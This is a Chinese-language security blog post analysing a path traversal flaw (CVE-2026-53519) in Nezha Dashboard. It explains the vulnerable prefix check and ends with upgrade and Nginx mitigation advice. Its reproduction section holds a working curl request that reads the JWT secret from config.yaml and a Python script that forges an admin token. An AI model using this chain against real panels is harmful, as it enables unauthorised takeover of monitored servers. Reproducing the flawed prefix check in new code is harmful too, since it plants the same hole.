返回 AI 资讯
安全研究言零的博客

哪吒监控路径穿越漏洞分析:一个 /dashboard.. 拿下全站 JWT 密钥

联系方式 & 交流群 QQ : 46333839 微信 : GOV-HACK 进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~ Nezha Dashboard 的路由前缀校验存在逻辑缺陷:对 /dashboard 的前缀判断没有做路径段边界检查,攻击者用 /dashboard../ 即可逃逸出模板根目录,直达 data/config.yaml 拿到 JWT 签名密钥。拿到密钥后,伪造任意用户 Token、接管面板控制权轻而易举。 漏洞概览 项目 详情 CVE 编号 CVE-2026-53519 CV…

内容摘要

联系方式 & 交流群 QQ : 46333839 微信 : GOV-HACK 进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~ Nezha Dashboard 的路由前缀校验存在逻辑缺陷:对 /dashboard 的前缀判断没有做路径段边界检查,攻击者用 /dashboard../ 即可逃逸出模板根目录,直达 data/config.yaml 拿到 JWT 签名密钥。拿到密钥后,伪造任意用户 Token、接管面板控制权轻而易举。 漏洞概览 项目 详情 CVE 编号 CVE-2026-53519 CVSS 评分 9.1(Critical) CVSS 向量 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N 影响组件 Nezha Dashboard 影响版本 < v2.0.13 漏洞类型 未授权路径穿越(Unauthenticated Path Traversal) 披露时间 2026-05-31 不需要登录,不需要任何前置条件,一个 GET 请求就能把面板的 JWT 密钥读出来。 漏洞原理 问题出在哪 Nezha Dashboard 在处理静态资源时,为了隔离不同模板目录,在路由层做了一个前缀校验——检查请求路径是否以 /dashboard 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。 逻辑本身没问题,但实现上踩了一个经典坑:前缀比对没有做路径段边界检查。 Go 的 strings.HasPrefix 只判断字符前缀,不关心你后面跟的是 / 、 .. 、还是别的什么。于是攻击者构造出这样的路径: /dashboard../data/config.yaml 拆开看: /dashboard —— 通过了前缀检查,“合法” ../ —— 往上跳一层,跳出模板目录 data/config.yaml —— 命中 Dashboard 的工作目录,拿到配置文件 每一步都不违反代码的字面逻辑,但组合起来就把目录限制彻底穿透了。 用伪代码理解这个缺陷: // 原始逻辑(有漏洞) if strings . HasPrefix ( r . URL . Path , "/dashboard" ) { // 渲染模板文件... tmpl . Execute ( w , filepath . Join ( tmplRoot , r . URL . Path )) } // 实际解析: // r.URL.Path = "/dashboard../data/config.yaml" // HasPrefix 返回 true ← 漏洞点 // filepath.Join(tmplRoot, "/dashboard../data/config.yaml") // → tmplRoot + "../data/config.yaml" // → 逃逸成功 filepath.Join 会对 .. 做规范化处理,于是路径就从模板目录往上跳了一级,进入了 Dashboard 的工作目录——配置文件、数据库、日志,全在射程范围内。 为什么说这个洞"严重" 大部分路径穿越漏洞能读文件,但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 config.yaml ,里面躺着什么? jwt_secret_key : "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" JWT 签名密钥是整个认证体系的根基。拿到它之后,攻击者可以: 伪造任意用户 Token:用泄露的密钥签名一个管理员身份的 JWT,面板直接认你为 admin 劫持所有 Agent 通信:Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权,伪造 Token 就能下发任意指令 持久化控制:密钥轮换需要重启服务且所有 Agent 重连,运维窗口期往往长达数天,攻击者有充裕的时间 CVSS 9.1 的评分拆解开来看: AV:N(网络可达)—— HTTP 端口默认暴露 AC:L(复杂度低)—— 一个 GET 请求即可 PR:N(无需认证)—— 匿名访问 UI:N(无需用户交互)—— 纯自动化 C:H / I:H(机密性高 / 完整性高)—— 拿到密钥等于拿到一切 复现步骤 假设靶标环境 Nezha Dashboard 监听在 http://target:8008 : # 第一步:未授权读取配置文件 curl -s http://target:8008/dashboard../data/config.yaml # 正常响应会返回完整的 YAML 配置,其中包含: # jwt_secret_key: "xxxxxx..." 拿到密钥后,用 Python 快速伪造一个管理员 JWT: import jwt import time secret = "泄露的密钥" payload = { "user_id" : 1 , # admin 通常是 uid=1 "username" : "admin" , "role" : "admin" , "iat" : int ( time . time ()), "exp" : int ( time . time ()) + 86400 * 7 # 7 天有效期 } token = jwt . encode ( payload , secret , algorithm = "HS256" ) print ( token ) 将伪造的 Token 填入浏览器 Cookie 或 Authorization Header,刷新面板页面——你已经是管理员了。 修复方案 升级 直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了 段感知 (segment-aware)的路径校验——不再是简单的字符串前缀匹配,而是确保路径被正确规范化后不会逃逸出模板根目录。 临时缓解 如果暂时无法升级,推荐在反向代理层做路径规范化防护。以 Nginx 为例: location /dashboard { # 规范化 URI,折叠 ../ 等目录回溯符 set $safe_uri $uri ; if ( $uri ~ \.\./) { return 403 ; } proxy_pass http://nezha_dashboard ; } 但由于 Go 的 filepath.Join 在服务端也会做规范化,仅靠反向代理层的黑名单拦截存在绕过风险,升级仍然是最可靠的修复方式。 小结 这个洞的技术原理并不复杂,就是一个路径段边界检查缺失。但它命中的是整个认证体系的密钥源头,危害被直接放大到了最高级别。 安全攻防有时不需要绕过 WAF、不需要 0day 链,一个边界条件的疏忽就能让整个系统的安全假设崩塌。CVSS 9.1,名副其实。

资讯来源

言零的博客

原文链接

打开原文